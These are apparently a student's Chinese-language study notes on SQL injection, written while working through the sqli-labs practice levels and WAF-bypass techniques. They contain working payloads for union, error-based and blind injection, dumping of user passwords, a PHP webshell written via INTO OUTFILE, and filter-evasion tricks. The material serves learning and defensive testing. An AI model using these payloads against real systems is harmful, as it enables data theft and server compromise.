SQL学习
因为之前整理笔记的时候没有把SQL靶场的学习搬上来,现在就和进阶SQL一起整理一下
利用类型
联合查询:
sql底层逻辑是SELECT * FROM users WHERE id=(('$id'))LIMIT 0,1用户输入直接被拼接到了 $id
但是如果直接select的话会出现两个独立的SELECT ,MySQL 无法解析这种”多SELECT堆叠”,而union可以将两个SELECT查询结果集合并成一个
两个SELECT列数一致的时候可以合并
获取表名
1 | SELECT 1,2,group_concat(table_name) |
聚合函数concat()
获取列名:
1 | union select 1,2,group_concat(column_name) from |
关键字段:系统默认
数据:
1 | union select 1,(select group_concat(username) from users ),(select group_concat(password) from users)--+ |
或者
1 | union select 1,2,(select group_concat(concat_ws('/',username,password)) from security.users--+ |
布尔盲注:
根据返回内容true或false的回显,重复执行,最后组合
- 字符长度总判断
- 二分法获取指定字母位置
- 循环提取库名,列名,表名
查询范围是从第一个字符往后,所以不能直接range(100),需要从1开始range(1,100);
报错注入:
利用MySQL自带的报错函数updatexml(),extractvalue()
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
updatexml()函数
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。作用:改变文档中符合条件的节点的值
语法:
updatexml(XML_document,XPath_string,new_value)第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】第三个参数:string格式,替换查找到的符合条件的数据updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)例如:
select * from test where ide = 1 and (updatexml(1,0x7e,3));由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。updatexml(),用于更新XML文档内的内容,原理:第一个参数是XML文档对象,第二个参数是XPath,路径格式不对就会报错,可以利用,让错误路径包含我们查询的数据。基本语法:
1 | UPDATEXML(XML_document, XPath_string, new_value) |
报错Payload构造:
1 | and updatexml(1, concat(0x7e, (你想要查询的语句), 0x7e), 1) |
拆解分析:
- 0x7e 是波浪号 ~ 的十六进制。我们用它来包裹我们的查询结果,使其成为一个明显的非法XPath格式(XPath不能以 ~ 开头)。
concat()函数用于将 ~、查询结果、另一个 ~ 连接在一起,有点像名称拼接- 当数据库执行时,会尝试将
~(查询结果)~解析为XPath,这必然失败(是解析那一步出问题,但是查询结果已经在信息里带回了),从而在报错信息中返回:’(查询结果)‘ is not a valid XPath expression。
extractvalue() 函数
从XML文档中提取值,报错原理与 updatexml() 极其相似,也是利用第二个参数(XPath路径)格式错误来触发报错。
- 基本语法:
1 | EXTRACTVALUE(XML_document, XPath_string) |
报错Payload构造:
1 | and extractvalue(1, concat(0x7e, (你想要查询的语句), 0x7e)) |
双查询注入或聚合函数报错
floor(rand(0)\*2) 报错 (Double Injection)称为“双查询注入”或“聚合函数报错”。
rand(0)
rand(0)的确定性行为
1 | -- 关键:RAND(0)生成固定序列 |
GROUP BY的临时表机制 当MySQL执行GROUP BY时:创建内存临时表存储分组结果;临时表使用GROUP BY的列作为主键/唯一键
对每一行数据:计算分组键值;查找临时表中是否已存在该键;不存在则插入新行,存在则更新计数
假设执行:
1 | SELECT COUNT(*), CONCAT((SELECT @@version), FLOOR(RAND(0)*2)) AS x |
执行步骤推演:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18- 第一行数据:
- 计算FLOOR(RAND(0)*2) → 序列第一个值:0
- CONCAT(version, 0) = '5.7.330'
- 临时表无此键 → 插入新行(键:'5.7.330')
- 第二行数据:
- RAND(0)序列下一个值:1
- CONCAT(version, 1) = '5.7.331'
- 临时表无此键 → 插入新行(键:'5.7.331')
- 第三行数据(关键转折点):
- RAND(0)序列:1
- 计算分组键 = '5.7.331'
- 临时表已存在键'5.7.331'
- MySQL准备更新该行计数
- 但在检查过程中,RAND()被第二次计算
- 第二次计算得到:0
- MySQL尝试插入键'5.7.330'(但此键已存在!)
- 主键冲突,报错:Duplicate entry '5.7.330'
- 利用了MySQL的内部实现缺陷(GROUP BY时多次计算RAND)
- 将数据泄露通道从查询结果转移到错误信息
- 规避了UNION注入需要列数匹配的限制
数据库
1 | -1' AND (SELECT 1 FROM |
表名
1 | -1' AND (SELECT 1 FROM |
列名
1 | -1' AND (SELECT 1 FROM |
Less-7
利用MySQL的SELECT ... INTO OUTFILE功能将查询结果写入服务器文件系统
写入文件可以被其他系统文件组件执行(比如PHP解释器)
OUTFILE是MySQL数据库的文件执行操作
OUTFILE vs DUMPFILE vs LOAD_FILE
| 函数 | 用途 | 特点 |
|---|---|---|
| INTO OUTFILE | 导出查询结果到文本文件 | 文本格式,可多行,会转义特殊字符 |
| INTO DUMPFILE | 导出二进制数据 | 二进制格式,单行,不转义 |
| LOAD_FILE() | 读取文件内容 | 需要有FILE权限和文件可读 |
- 查询结果写入文件,访问服务器的文件绝对路径回显,如http://xxx.xxx.xx/html/www/a.txt
- 或者写入木马(注意编码转译),然后执行命令获得需要的内容
- 或者用load_file,读取文件(先把查询结果写入文件)
1 | -- 将数据写入临时文件 |
闭合方式可以通过报错信息直接判断
注释符:忽略注释符之后的内容,原本的语句是,我们写入一个id值,然后闭合id值前面那个自带的
1 | 原SQL:WHERE username='我们输入的id=1' |
文件上传
1 | -- 写入PHP Webshell |
防止被直接报错可以转十六进制
时间盲注
1 | ?id=1' and if(1=1,sleep(4),1)--+ |
MySQL特定的时间盲注:
- 利用IF函数控制条件执行
- sleep放在IF的第二个参数中,只有条件为真时才执行
- 第三个参数是必须的,保证语法完整
- 与回显位置无关,适用于无回显场景
- 通过响应时间差异来判断条件真假
GET注入(URL参数)
1 | -- 原始URL:/Less-1/?id=1 |
POST注入(表单字段)
1 | -- 原始表单:uname=admin&passwd=123 |
| 特性 | GET注入 | POST注入 |
|---|---|---|
| 注入点 | URL参数(如?id=) | 表单字段(如uname=, passwd=) |
| 测试方式 | 修改URL | 修改表单输入 |
| 工具使用 | 浏览器地址栏 | 浏览器开发者工具/Burp Suite |
| 自动化脚本 | requests.get() |
requests.post() |
| 常见场景 | 搜索、查看详情 | 登录、注册、提交数据 |
Less-13
时间盲注和布尔盲注都可以
POST请求

1 | uname=1') or 1=1#&passwd=1&submit=Submit |
提交表单,需要包含提交的变量,然后用#或者--+忽视掉其他内容
布尔盲注
#被浏览器解释:浏览器认为#之后是URL片段&passwd=1&submit=Submit被截断:不会被发送到服务器!- 实际发送的请求可能只有:
1 | POST /login.php HTTP/1.1 |
Less-14
用双引号闭合
十五
没有直接回显的数据,但是有登入成功的显示,推测为布尔盲注
其他想法:返回内容是图片:可以使用图片的MD哈希值对比,通过观察也可以把图片对应的url写入,对比看响应内容是否包含即可。再或者,由于图片显示位置不同,所以可以通过判断某位置是否出现图片而判断是否成功(如果是自动化脚本需要读取,提取预处理的图片,就需要有一个读取或者是提前筛选的标准的录入,由于是JPG文件,不能直接用svg去比对)
补充:针对这种方式,开发者可以预加载所有图片,或者使用CSS控制显示,或者使用javascript动态切换。
检测实际可见性-检测CSS类名变化-检测文本内容变化-检测HTTP响应差异
十六
闭合方式是”)
十七
密码重置
实际上只检查了用户是否存在,如果用户存在,那么密码不需要验证
密码有被录入存储吗,存储的文件绝对路径
密码可能作为被读取录入的内容,如果对语句进行了执行那么可以在密码的文件里得到查询结果


floor()
数据过程产生的报错

使用SUBSTRING分段
SUBSTRING(string, start, length)
闭合方式是双引号,有报错回显,回到之前的使用函数上
十八

猜不到密码就直接找闭合方式,回显User-Agent,考虑往User-Agent里注入
十九 Referer

二十
Cookie

当你访问首页或其他页面时,浏览器会携带这个Cookie。后端程序会从Cookie中取出 uname 的值,并直接用于数据库查询(例如 SELECT … WHERE username=’$cookie_uname’),从而造成注入。
就是用POST提交cookie的时候交,使用cookie查询用户的时候才会执行

犯过一个错误,还是和其他闭合一样,闭合成功之后要重新交来查询不要直接刷
修改一次cookie之后,后续的的访问都会继续携带这个cookie(这里没有用到
Less-21
上一题:


位置还是cookie,但是上传的内容会被base64编码,回显的内容是解码之后的内容
用户名会被执行编码
注入的时候直接绕过来编码那一步,所以我们上传的注入语句其实是没有被编码那一步的,如果直接解码就会出现乱码
正常登录逻辑:
1 | // 登录页面 login.php |
默认信任cookie内容,跳过了验证过程,所以也没有编码
服务器:读取cookie-解码回显
Less-22
闭合是双引号
Less-23
双引号
注释符会被替换为空格

1 | -- 原始SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1 |
and '1'='1的替代作用:
1 | -- 原始SQL(假设是登录查询): |
结束原SQL语句的闭合,然后用and '1'='1把后面的内容闭合掉,相当于是一个完整的正确语句
Less-24
二次注入:存入的时候是无害的,但是在读取的时候就会拼接然后执行
登录 注册 重置密码(看看17能不能用,update
登入后可以重置密码或者登出

mysql_real_escape_string() 的作用机制:
当输入为:username = "admin' OR '1'='1"&password = "anything"
转义后:$username = "admin\' OR \'1\'=\'1"&$password = "anything"
生成的SQL:
1 | SELECT * FROM users WHERE username='admin\' OR \'1\'=\'1' and password='anything' |
- 单引号被转义为
\',不再起到闭合字符串的作用 - 整个输入被视为一个普通的用户名字符串
- 无法绕过认证
闭合的单引号会被转义,但是注释符不会
1 | // 时间点1:注册(存储恶意数据) |
Less-25
不能直接使用or和and关键字,但是可以双写绕过
information_schema中的or也会被过滤掉,其他组成同理
其他SQL利用学习
读写文件
读文件使用
1
load_file()
函数
1
select load_file("E:\\flag.txt");
写文件使用
1
into outfile
1
select 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php";
双写绕过
特殊字符只过滤一次的情况,双写绕过
等号like绕过
等号被过滤,用like代替
order by 绕过
这里可以用into加变量名代替,相当于列数和变量个数的匹配
| 方式 | 作用 | 区别 |
|---|---|---|
order by 1,2,3 |
通过排序是否正常,推断列数 | 依赖 order by 语法 |
into @a,@b,@c |
通过列数与变量个数是否匹配报错,推断列数 | 绕过 order by 过滤 |
and/or绕过
替代字符:and 等于&&、or 等于 ||、not 等于 !、xor 等于|
union select 绕过
1 | uNIoN sel<>ect # 程序过滤<>为空 脚本处理 |
大小写绕过
这里就是换大小写,除此之外还学到了其他的符号使用方法
- 冒号:在 SQL 中,冒号通常用于变量绑定(如预处理语句),但在注入场景下,如果后端代码用
preg_match等函数过滤了某些关键词(如union、select),攻击者可能会利用冒号来闭合前面的语法结构,使后面的注入语句“合法化”。
1 | id=1': union select ... |
这里的冒号 : 有时能充当语法闭合符,类似于用 # 或 -- 注释掉后面的内容。
但更常见的“闭合”是指用 '、"、) 等来闭合原本的 SQL 语句,而这里的冒号属于一种不太常见但有效的闭合方式(取决于后端如何解析)。
%00(空字节)
%00 是 URL 编码后的空字节(NULL)。
在 PHP 等语言中,如果字符串处理函数(如 preg_match、addslashes)遇到 %00,可能会截断字符串,导致后面的内容被忽略。
例如:
1 | id=1%00' union select ... |
如果后端用 preg_match 检查 id 参数,并且函数在遇到空字节时停止,那么 %00 之后的内容就不会被过滤,从而绕过黑名单。
这种做法被称为空字节截断,和用 # 注释掉后面的 SQL 语句效果类似。
逗号绕过
变换函数的形式
多列查询的逗号可以用join代替
1 | select 1,2,3; |
Limit语句中用到的逗号用offset代替
1 | limit 0,1 —> limit 1 offset 0 |
盲注中常用的,可以用from for代替
1 | substr(database(),1,1)—> substr(database() from 1 for 1) ; |
substring()和mid()同理
盲注还能使用模糊查询来进行绕过
LIKE 用于模式匹配,支持两个通配符:
| 通配符 | 含义 |
|---|---|
% |
匹配任意个字符(包括 0 个) |
_ |
匹配单个字符 |
可以遍历或者二分法,可以借助_匹配字符长度
如果 LIKE 也被过滤,有时还可以用 REGEXP,例如 SELECT DATABASE() REGEXP ‘^s’ 表示以 s 开头。REGEXP 支持正则表达式,不过原理类似,可以用于盲注。
等函数替换
1 | benchmark() => sleep() |
浮点数绕过
通过浮点数的形式从而绕过
1 | id=1 union select —> id=1.0union select —> id=1E0union select |
添加库名绕过
直接访问库名或表名的被waf之后,可以用[库名].[表名]
1 | SELECT FORM test.user |
编码绕过
ascii编码绕过
1 | -1' AND SUBSTRING(database(),1,1)='s' --+ |
1 | -1' AND ASCII(SUBSTRING(database(),1,1))=115 --+ |
base64编码绕过
直接整个编码之后直接提交就可以
空格字符绕过
%20、%09、%0a、%0b、%0c、%0d在 SQL 中都是有效的空白字符,可用于替换普通空格。%a0不是 SQL 标准空白,但在某些绕过技巧中可能被用于欺骗 WAF 的正则表达式(如果 WAF 错误地将它当作空格处理)。+仅在 URL 解码后成为空格,在 SQL 中不是空白符。
引号字符绕过
同时查询用户名和密码的情况下:
1 | SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--' |
payload:
1 | id=1\&passwd=UNION SELECT 1,2,3-- |
这样实际上第二个引号被转义掉了
那么密码的部分直接输入<联合注入语句>+<注释>即可
- 也可以十六进制(HEX)编码:
1 | ' UNION SELECT 1,2,3 FROM users WHERE username='admin' --+ |
1 | ' UNION SELECT 1,2,3 FROM users WHERE username=0x61646d696e --+ |
- 可以考虑宽字节注入绕过
1 | 在 GBK 编码下,部分字符可以与后续字符拼接形成新的合法字符。%df 在 GBK 编码中是一个未完成的双字节字符 Ÿ,如果数据库采用 GBK 编码,则 %df 可能会与后续的单字符拼接形成一个完整的双字节字符 |
利用反斜杠转义引号来闭合查询
1 | SELECT username FROM users WHERE id='$id' AND passwd='$passwd' |
正常时,程序会用单引号包裹用户输入的 $id 和 $passwd。
如果程序对输入做了简单的转义(如 addslashes 或 mysqli_real_escape_string),它会将 ' 转义为 \',试图防止注入。可以输入一个反斜杠,让转义机制“误转义”掉原本闭合的引号。
1 | SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3-- ' |
1\' 中的反斜杠转义了后面的单引号,使得原本 id='1\' 成为一个未闭合的字符串(因为转义后的引号不再起闭合作用),紧接着 AND passwd=' 实际上被当作字符串内容的一部分,而攻击者输入的 passwd 部分 UNION SELECT 1,2,3-- ' 则变成了新的 SQL 语句,且最后的 -- ' 将原本末尾的单引号注释掉,从而成功执行注入。
参数污染
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。
当 HTTP 请求中包含多个同名参数时(例如 ?color=red&color=blue),不同的 Web 服务器、应用服务器或开发框架会采用不同的策略来处理:
拼接成逗号分隔的字符串(如 ASP/IIS)
将恶意代码作为第二个值,与正常值拼接后可能被 SQL 解析执行(取决于应用如何处理拼接后的值)。
1
GET /sqli.asp?id=1&id=0' UNION SELECT 1,2,3--+ HTTP/1.1
- 后端可能通过
Request.QueryString("id")得到"1,0' UNION SELECT 1,2,3--+" - 如果应用直接将该字符串用于 SQL 语句(例如
WHERE id IN (id)或其他场景),可能导致注入。 - 或者,应用可能只取第一个值,但某些情况下拼接后的值会被其他组件使用(如日志、存储过程),造成二次注入。
- 后端可能通过
取最后一次出现(如 PHP/Apache)
1
GET /sqli.php?id=1&id=0' UNION SELECT 1,2,3--+ HTTP/1.1
- WAF 检查
id=1→ 放行 - PHP 接收到的
$_GET['id']为0' UNION SELECT 1,2,3--+→ 拼接到 SQL 中执行注入。
- WAF 检查
取第一次出现(如 Tomcat)
1
GET /sqli.jsp?id=0' UNION SELECT 1,2,3--+&id=1 HTTP/1.1
- WAF 检查
id=1→ 放行 - Tomcat 解析后,
request.getParameter("id")返回第一个值0' UNION SELECT 1,2,3--+→ 注入成功。
- WAF 检查
Python / Zope(转化为 List)传递数组形式的参数,使后端将多个值作为列表处理,可能引发 SQL 注入(如未对数组元素做安全处理)。
1
GET /sqli.py?id=1&id=0' UNION SELECT 1,2,3--+ HTTP/1.1
- 后端可能通过
request.GET.getlist('id')获取['1', "0' UNION SELECT 1,2,3--+"] - 如果开发者在拼接 SQL 时遍历列表且未做过滤,恶意元素将被代入。
- 后端可能通过
注释绕过
内联注释:是Mysql为了保持与其他数据的兼容,将Mysql中特有的语句放在/!/中这些语句在不兼容的数据库中不执行,而在Mysql自身却能识别执行。例如:/!50001/表示数据库版本>=5.00.01时,/!50001 中间的语句才能被执行 /
脏数据溢出绕过
数据太多超过waf检测范围,然后造成绕过,前面填垃圾数据后面填要注入的SQL语句,如果是GET传参,参数值超过GET所能运行的长度可能无法利用,所以最好是POST传参(前提是对方支持POST传参)
pipline绕过
http协议是由tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接tcp连接,然后发http 数据包,其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或断开。
当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。
用burpsuite抓包提交复制整个包信息放在第一个包最后,有些waf会匹配第二个包的正属于正常参,不会对第一个包的参数进行检测,这样就可以绕过一些waf拦截。
分块传输绕过
分块传输编码是只在HTTP协议1.1版本中提供的一种数据传送机制。
以往HTTP的应答中数据是整个一起发送的,并在应答头里Content-Length字段标识了数据的长度,以便客户端知道应答消息的结束。分块传输编码允许服务器在最后发送消息头字段。
例如在头中添加散列签名。对于压缩传输传输而言,可以一边压缩一边传输,将本该一次性传输的完整数据分块传输,从而绕过waf的检测。
参数拆分绕过
配合多个参数的传参,将注入的内容拼接到同一条 SQL 语句中,可以将注入语句分割插入绕过waf拦截。
1 | select *from user where username ="or 1=1/*'and passwd ='*/#' |
GET/POST转换绕过
这个的前提是,两种请求没有同时过滤,换方式传递可能成功
白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,比如白名单目录,白名单文件等等,所以可以利用这个特点,可以进行突破。
比如这里的例子是:
直接提交:
1 | ?id=1'and 1=2 union select 1,2,3 --+ |
在变量前加上白名单文件
1 | 1.jpg?id=1'and 1=2 union select 1,2,3 --+ |
花括号绕过
花括号,左边是注释的内容,这样的话可以过一些waf的拦截。
1 | select *from user where id=1 and 1=2 union select{xxx 1},{aaa 2},{hhh 3}--+ |
回显:
1 | Your Login name:2 |
反引号绕过
1 | ?id=1 and sleep(3) |
1 | ?id=1 and `sleep(3)` |
补课
这部分是从过滤内容角度出发,和上一部分有些许重合
空格过滤的情况:
可以使用括号包裹
1 | SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata); |
内联注释/**/可以代替空格
1 | SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata; |
符号代替空格的方式(urlencode):
1 | %0D Carriage Return,回车 代替空格 |
使用反引号包裹变量名
1 | SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`; |
过滤>和<的情况:
- 可以使用
greatest()和least()函数,分别返回最大值和最小值。参数数量不定:
1 | SELECT GREATEST(1, 2, 3, 4, 5); |
代替等号用
like但有时会有不相等还返回1用
rlike判断某个字段的值是否匹配指定的正则表达式,它是regexp的同义词(这里在逗号过滤的情况下也有)用
regexp匹配字符串中是否包含符合正则规则的部分,默认不区分大小写,如果需要区分,可以使用binary:1
2
3
4SELECT 'abc' REGEXP 'A'; -- 返回 1
SELECT BINARY 'abc' REGEXP 'A'; -- 返回 0
SELECT BINARY DATABASE() REGEXP '^s';函数
strcmp(str1, str2)其返回值:
1 | str1 = str2 -> 0 |
- 可以用
in语法,
用于判断某个值是否在指定集合中的条件操作符:
1 | -- 是则返回 1,否则返回 0 |
- 用
between...and...进行范围查询,也可代替等号
1 | -- 是 115 则返回 1,否则返回 0 |
- 用
<>表示不等于
1 | -- 不等于 115 则返回 1,否则返回 0 |
过滤 if
逻辑中断:
OR ||只需一个表达式为真,整个表达式就为真。那么很多时候程序只判断到前一个表达式为真时,就忽略后一个表达式不执行,MySQL就具备这个特性。可以利用它达到条件判断的效果:
1
2
3
4
5
6-- 假设 database 为 "security"
-- 它不会执行 SLEEP,因为前一个表达式为真
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);
-- 它会执行 SLEEP,因为前一个表达式为假,程序还需要判断后一个表达式才能确定整个表达式的值
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);使用
locate(str1, str2)比较输入的两个字符串,第一个参数是参照物,第二个参数是参照对象,该函数会判断参照对象中是否含有参照物,若不含有,则返回 0;若含有,则返回该参照物在参照对象中的位置。
用
case when...then...else...end用法类似于三目运算符
1 | CASE WHEN condition THEN result1 ELSE result2 END |
用
elt(N, str1, str2, ..., strN)从一个字符串列表中返回对应位置的字符串假设有一张表 my_table,包含字段 id 和 category,我们希望根据 category 的值返回对应字符串:
1
2
3SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing')
AS category_name
FROM my_table;如果 category 的值为 1、2 或 3,
分别返回 Electronics、Books、Clothing这个函数同样可以用在盲注中,逻辑运算往往会返回 0 或 1,也就是说可以让条件为真时,执行
elt函数第二个参数的表达式
1 | -- 条件为真时会睡 3 秒 |
关键字过滤
双写和大小写就不再写在这了
过滤关键字组合比如过滤了UNION SELECT可以改用UNION ALL SELECT;或者结合内联注释构造/*!UNION*/SELECT UNION/**/SELECT;或者插入其他可代替空格的符号;
过滤 information_schema
InnoDB 引擎 在MySQL 5.6及以上
- 用
mysql.innodb_table_stats代替information_schema.tables
过滤注释符
如果所有的注释符-- # /**/ /*!*/都被过滤,无法忽略后面的语句,可以改变闭合方式以避免语法错误:
1 | SELECT id FROM users WHERE username='' AND passwd='' LIMIT 0,1; |
发送payload:
1 | username=admin'OR&passwd=OR' |
得到
1 | SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1; |
也可以闭合引号
